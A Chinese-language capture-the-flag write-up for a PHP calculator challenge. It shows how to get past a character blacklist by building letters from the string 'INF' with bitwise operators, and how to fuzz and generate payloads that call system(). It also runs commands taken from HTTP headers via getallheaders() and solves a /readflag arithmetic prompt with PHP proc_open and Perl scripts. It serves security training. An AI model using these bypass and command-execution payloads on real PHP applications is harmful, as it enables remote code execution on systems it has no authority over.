访问calc.php得到源码
['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ',']
不允许出现a-z以及一些不可见字符。等
但是这里还允许数字。括号。点。|&
可以利用1/0。得到一个字符串INF。然后通过拼接使其变成字符串。并用{}
截取第一个。就能得到字符串。
192.168.0.144/1.php?num=((1/0).(0)){0}
(1/0)
//INF
(1/0).(0)
//INF0
((1/0).(0)){0}
//'INF0'{0}=I
现在有了字符串INF以及012345678910 -10数字
可以通过|和&。得到新的字符
具体fuzz如下
import requests
s='abcdefghijkmnklopqrstuvwxyz{} /!-&%()?:;<>='
#把已经有的字符串加进入。一开始是INF
for a in s:
for b in s:
url="http://192.168.0.144/1.php?num='"+str(a)+"'%26'"+str(b)+"'"
#修改中间的&和|。得到新字符
result=requests.get(url).text
print(str(a)+' & '+str(b)+' = '+result)
通过这种方式。我们fuzz得到了26个字母以及符号等
接下来写个脚本。我们输入。然后将对应的字符换成payload
import sys
import requests
data={
"m":"((((1/0).(0)){0})|(((-10).(0)){0}))",
"y":"((((1/0).(0)){0})|(((1).(0)){0}))",
"{":"((((1/0).(0)){0})|(((2).(0)){0}))",
"}":"((((1/0).(0)){0})|(((5).(0)){0}))",
...........................................................................
}
payload=''
input=sys.argv[1]
for i in data:
payload+=data[i]
print(payload)
将生成的payload。(system的payload)(ls的payload)
即可执行命令。发现根目录有个/readflag。需要做算术题。但是弹不了shell。只能通过php。perl去与程序交互。
参考MiniLctf的一题writeup
https://github.com/XDSEC/MiniLCTF_2020/tree/master/challenges/web/%E7%AD%BE%E5%88%B0%E9%A2%98
构造出脚本。
<?php
$d = array(array("pipe", "r"),array("pipe", "w"),array("pipe", "w"));
$p = proc_open('/readflag', $d, $pipes, '/');
if (is_resource($p)) {
$t = fgets($pipes[1]);
#读取一行内容。程序有\n就结束
$t = fgets($pipes[1]);
#继续读取一行
$expression = 'return '.str_replace('=','',substr($t, 0, 10)).';';
#将读取的内容。也就是运算表达式。进行eval执行。返回结果
fwrite($pipes[0], eval($expression)."\n");
#将返回的结果写入管道
echo stream_get_contents($pipes[1]);
}
将其base64加密后echo xxxx|base64 -d | php
结果又出了问题。payload过长。GET请求是有长度限制的。
那么只能通过代码执行。重新开个命令执行的地方。
system(end(getallheaders()))
然后在HTTP请求中进行命令执行。
顺带纪录下Mrkaixin大师傅的脚本
#!/usr/local/bin/perl
use strict;
use IPC::Open3;
my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' )
or die "open3() failed $!";
my $r;
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
$r = eval "$r";
print "$r\n";
print CHLD_IN "$r\n";
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";